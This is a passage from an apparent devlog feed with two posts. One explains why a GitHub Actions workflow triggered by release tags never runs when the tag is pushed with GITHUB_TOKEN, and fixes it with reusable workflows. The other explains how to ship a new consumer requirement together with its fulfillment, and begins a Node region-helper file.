&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          git config user.name &quot;release[bot]&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          git config user.email &quot;noreply@github.com&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          git tag &quot;v$version&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          git push origin &quot;v$version&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;The trigger that looks right and never fires&lt;/h2&gt;
&lt;p&gt;Now the downstream workflow. It is meant to run after every release: publish docs, notify a channel, push generated files into other repositories, whatever your fan-out is.&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;name: fan-out&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;on:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  push:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    tags: [&quot;v*&quot;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;permissions:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  contents: read&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;jobs:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  fan-out:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    runs-on: ubuntu-latest&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    steps:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      - uses: actions/checkout@v7&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      - run: echo &quot;fanning out $GITHUB_REF_NAME&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Merge both, let &lt;code&gt;release.yml&lt;/code&gt; cut a tag, and look at the Actions tab. You will see the release run. You will not see a fan-out run, and there is nothing on the page that says why.&lt;/p&gt;
&lt;h2&gt;Prove the trigger is dead, do not reason about it&lt;/h2&gt;
&lt;p&gt;The check is one command, and it is worth running against every workflow you believe is event-driven. &lt;a href=&quot;https://cli.github.com/manual/gh_run_list&quot;&gt;&lt;code&gt;gh run list&lt;/code&gt;&lt;/a&gt; takes a &lt;code&gt;--workflow&lt;/code&gt; filter and, with &lt;code&gt;--json&lt;/code&gt;, will report the event that started each run:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;gh&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; run&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; list&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; --workflow=fan-out.yml&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; --limit&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 20&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  --json&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; createdAt,event,conclusion&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  --jq&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;.[] | [.createdAt, .event, .conclusion] | @tsv&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Two outcomes matter. Empty output means the workflow has never run at all. Output where every row says &lt;code&gt;workflow_dispatch&lt;/code&gt; means it only ever runs when a human clicks it, which is the shape a token-blocked trigger leaves behind. On the release this was found on, that command returned exactly one row, and its event was &lt;code&gt;workflow_dispatch&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Compare that against the tag actually existing:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; log&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -1&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; --format=&apos;%ci&apos;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; v1.4.0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;gh&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; run&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; list&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; --workflow=fan-out.yml&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; --json&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; event&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; --jq&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;length&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A tag with a timestamp and a run count of zero is the whole diagnosis.&lt;/p&gt;
&lt;h2&gt;Chain the workflows instead of triggering one from the other&lt;/h2&gt;
&lt;p&gt;The fix is to stop relying on an event and put the second workflow in the first one’s job graph. GitHub’s &lt;a href=&quot;https://docs.github.com/en/actions/how-tos/reuse-automations/reuse-workflows&quot;&gt;reusable workflows&lt;/a&gt; do exactly this: a workflow whose &lt;code&gt;on&lt;/code&gt; includes &lt;code&gt;workflow_call&lt;/code&gt; can be invoked by another workflow’s job.&lt;/p&gt;
&lt;p&gt;Give the downstream workflow a &lt;code&gt;workflow_call&lt;/code&gt; trigger, and keep the manual and scheduled entry points, which were never affected:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;name: fan-out&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;# NOTE ON THE TRIGGER. Deliberately not `push: tags: [&quot;v*&quot;]`. The release tag is&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;# created by release.yml with the repository&apos;s GITHUB_TOKEN, and GitHub does not&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;# start workflow runs for events created with that token, so a tag trigger here&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;# would look correct and never once execute.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;on:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  workflow_call:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    inputs:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      dry-run:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        description: &quot;Report what would change without pushing&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        type: boolean&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        default: false&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    secrets:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      FAN_OUT_TOKEN:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        description: &quot;PAT with repo scope on the downstream repositories&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        required: false&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  schedule:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    - cron: &quot;0 13 * * 1&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  workflow_dispatch:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;permissions:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  contents: read&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;jobs:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  fan-out:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    runs-on: ubuntu-latest&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    steps:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      - uses: actions/checkout@v7&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      - env:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          DRY_RUN: ${{ inputs.dry-run }}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          GH_TOKEN: ${{ secrets.FAN_OUT_TOKEN || secrets.GITHUB_TOKEN }}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        run: |&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          echo &quot;fanning out (dry-run=${DRY_RUN:-false})&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then append this job to &lt;code&gt;release.yml&lt;/code&gt;’s &lt;code&gt;jobs:&lt;/code&gt; map. A reusable workflow is referenced at the job level with &lt;code&gt;uses:&lt;/code&gt;, never from inside a step:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  fan-out:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    needs: release&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    uses: ./.github/workflows/fan-out.yml&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    secrets:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      FAN_OUT_TOKEN: ${{ secrets.FAN_OUT_TOKEN }}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That is the entire change. The fan-out now runs as part of the release run, because it is a job in that run rather than a reaction to an event the token was not allowed to raise.&lt;/p&gt;
&lt;h2&gt;Use it, then verify it&lt;/h2&gt;
&lt;p&gt;Push a version bump to &lt;code&gt;main&lt;/code&gt; and watch the release run. The chained job appears inside it:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;gh&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; run&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; list&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; --workflow=release.yml&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; --limit&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  --json&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; databaseId&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; --jq&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;.[0].databaseId&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;gh&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; run&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; view&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;d&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; --json&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; jobs&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; --jq&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;.jobs[].name&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You should see the &lt;code&gt;release&lt;/code&gt; job and the called workflow’s job listed under the same run id. The distinction to internalize is that a called workflow’s jobs belong to the caller’s run, so &lt;code&gt;gh run list --workflow=fan-out.yml&lt;/code&gt; will still show nothing new. That is expected now, and it is why the “is this workflow alive?” check has to look at the caller once you chain.&lt;/p&gt;
&lt;p&gt;For the dry-run path, dispatch it by hand:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;gh&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; workflow&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; run&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; fan-out.yml&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -f&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; dry-run=true&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;gh&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; run&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; watch&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Gotchas&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Manual dispatch always works, so hand-testing hides the bug.&lt;/strong&gt; &lt;code&gt;workflow_dispatch&lt;/code&gt; is one of the documented exceptions to the token rule, which means the exact way you would sanity-check a new workflow is the one path that cannot reproduce the failure. Symptom: the workflow runs perfectly every time you click it, and never once on its own. Escape: after any release, check the run list and read the &lt;code&gt;event&lt;/code&gt; column, not the conclusion column.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A scheduled fallback turns “dead” into “late”, which is harder to see.&lt;/strong&gt; This workflow also had a weekly &lt;code&gt;schedule&lt;/code&gt;, so the fan-out did happen, up to seven days after each release. Nothing was ever missing, so nothing looked broken; releases were just landing downstream a week later. Symptom: the automation appears to work but always at the wrong time. Escape: if a workflow has both an event trigger and a schedule, confirm the event trigger separately, because the schedule will paper over it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Secrets do not cross into a called workflow on their own.&lt;/strong&gt; A &lt;code&gt;workflow_call&lt;/code&gt; workflow sees only the secrets the caller passes explicitly or with &lt;code&gt;secrets: inherit&lt;/code&gt;, and the docs note that environment secrets cannot be passed at all, because &lt;code&gt;on.workflow_call&lt;/code&gt; has no &lt;code&gt;environment&lt;/code&gt; keyword. Symptom: the chained job runs but authenticates as nobody. Escape: declare each secret under &lt;code&gt;on.workflow_call.secrets&lt;/code&gt; and pass it in the calling job.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Permissions only shrink down a call chain.&lt;/strong&gt; GitHub allows up to ten levels of nesting and states permissions “can only be maintained or reduced, not elevated” through it. Symptom: a called workflow that works standalone fails to write when chained. Escape: grant the permission in the caller job, not only in the reusable workflow.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Leave a comment where the dead trigger was.&lt;/strong&gt; &lt;code&gt;push: tags&lt;/code&gt; is the first thing anyone reaches for, so a bare deletion invites its return in three months. The replacement here carries a comment naming the rule and the evidence, which costs six lines and survives the next person’s reasonable instinct.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;If you genuinely need the downstream event, you need a different identity.&lt;/strong&gt; Chaining works when you control both workflows. When you need a real event, for example a bot-authored pull request that must run the normal PR checks, the token rule still applies, and the &lt;a href=&quot;https://github.com/peter-evans/create-pull-request/blob/main/docs/concepts-guidelines.md&quot;&gt;create-pull-request action’s guidance&lt;/a&gt; is the clearest catalogue of the options: a personal access token, a GitHub App token, an SSH deploy key which only triggers &lt;code&gt;on: push&lt;/code&gt;, or a machine-account fork. Each trades security surface for the ability to raise events, and none of them is free.&lt;/p&gt;
&lt;h2&gt;Sources&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.github.com/en/actions/how-tos/write-workflows/choose-when-workflows-run/trigger-a-workflow&quot;&gt;Trigger a workflow&lt;/a&gt; — the rule that events created with &lt;code&gt;GITHUB_TOKEN&lt;/code&gt; do not create new workflow runs, and its exceptions.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.github.com/en/actions/how-tos/reuse-automations/reuse-workflows&quot;&gt;Reuse workflows&lt;/a&gt; — &lt;code&gt;workflow_call&lt;/code&gt;, calling at job level, secret passing, nesting depth and the permissions rule.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/peter-evans/create-pull-request/blob/main/docs/concepts-guidelines.md&quot;&gt;create-pull-request: concepts and guidelines&lt;/a&gt; — the catalogue of alternative identities when you need the downstream event to fire.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cli.github.com/manual/gh_run_list&quot;&gt;gh run list&lt;/a&gt; — the &lt;code&gt;--workflow&lt;/code&gt; and &lt;code&gt;--json&lt;/code&gt; flags used for the liveness check.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Changelog&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;fix(press): the propagate workflow could never fire on a release (0.4.1) (#123) (&lt;a href=&quot;https://github.com/natejswenson/claude-skills/commit/a2282c6fef3cf28a7bd8ffad064a8514909b5bef&quot;&gt;a2282c6&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><enclosure url="https://natejswenson.com/devlog/press/v0.4.1.png" length="28738" type="image/png"/></item><item><title>Declaring the requirement broke everyone who adopted it</title><link>https://natejswenson.com/devlog/press/v0.7.1/</link><guid isPermaLink="true">https://natejswenson.com/devlog/press/v0.7.1/</guid><description>A release that adds something consumers must have will fail every consumer the moment they upgrade, unless the same change that raises their version also supplies the thing. Ship the requirement and its fulfillment together, and require consent before creating state.</description><pubDate>Fri, 31 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Shipped&lt;/h2&gt;
&lt;p&gt;press 0.7.1 fixed three problems that turned out to be one problem. The headline case: 0.7.0 declared a new README target for every external consumer without creating those regions in the consumers, so a repository’s check began failing &lt;code&gt;missing&lt;/code&gt; the instant its pinned version reached 0.7.0. Both pull requests the fan-out had opened against one consumer went red on arrival. The fix was to make propagation &lt;em&gt;seed&lt;/em&gt; a region the consumer doesn’t have yet, in the same pull request that raises the pin, on the grounds that the two are one change rather than two.&lt;/p&gt;
&lt;p&gt;The second was the same shape one level down. The check compared the generated values but not the version recorded in the region marker, so in-repo regions sat at &lt;code&gt;v0.1.0&lt;/code&gt; through six releases behind a green tick. A version that nothing verifies is decoration.&lt;/p&gt;
&lt;p&gt;This guide builds the rollout that can’t break a consumer on arrival, plus the constraint that stops it from over-correcting into a tool that silently recreates things people deleted on purpose.&lt;/p&gt;
&lt;h2&gt;Why this isn’t just “add it to the changelog”&lt;/h2&gt;
&lt;p&gt;Adding a requirement to a shared config is a backward-incompatible change to everyone who consumes it, and &lt;a href=&quot;https://semver.org/&quot;&gt;semver’s rule&lt;/a&gt; is unambiguous about the usual remedy: “Major version X (X.y.z | X &amp;gt; 0) MUST be incremented if any backward incompatible changes are introduced to the public API.” That’s the right rule and it doesn’t help here, because a major bump communicates the break without preventing it. Consumers still get a red build; they just can’t say they weren’t warned.&lt;/p&gt;
&lt;p&gt;The pattern that actually prevents the break is &lt;a href=&quot;https://martinfowler.com/bliki/ParallelChange.html&quot;&gt;Parallel Change&lt;/a&gt;, “a pattern to implement backward-incompatible changes to an interface in a safe manner, by breaking the change into three distinct phases: expand, migrate, and contract.” Fowler names the reason it’s hard: “Making a change to an interface that impacts all its consumers requires two thinking modes: implementing the change itself, and then updating all its usages.” Kubernetes formalizes the same instinct into &lt;a href=&quot;https://kubernetes.io/docs/reference/using-api/deprecation-policy/&quot;&gt;calendar guarantees&lt;/a&gt;, where an API element “can not be removed from that version or have its behavior significantly changed” once shipped.&lt;/p&gt;
&lt;p&gt;Both assume you can’t reach into the consumer. When you &lt;em&gt;can&lt;/em&gt;, which is true for any producer that already opens pull requests in every consumer repo, there’s a shorter path: put the migrate step inside the expand step. The pull request that raises the version also supplies whatever the new version requires, so a consumer never exists in the broken intermediate state at all.&lt;/p&gt;
&lt;p&gt;Everything below is Node’s standard library.&lt;/p&gt;
&lt;h2&gt;The region helpers&lt;/h2&gt;
&lt;p&gt;Save this as &lt;code&gt;region.mjs&lt;/code&gt;. It’s the minimum needed to find, replace, and create a marked block:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; SYNTAX &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  md: { open: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&amp;#x3C;!-- &apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, close: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos; --&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  css: { open: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;/* &apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, close: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos; */&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;};&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; markers&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(target, version) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; s &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; SYNTAX[target.syntax];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    start: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;s&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;open&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}&gt;&gt;&gt; brand:${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;target&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} v${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;s&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;close&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    end: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;s&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;open&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}&amp;#x3C;&amp;#x3C;&amp;#x3C; brand:${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;target&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;s&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;close&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
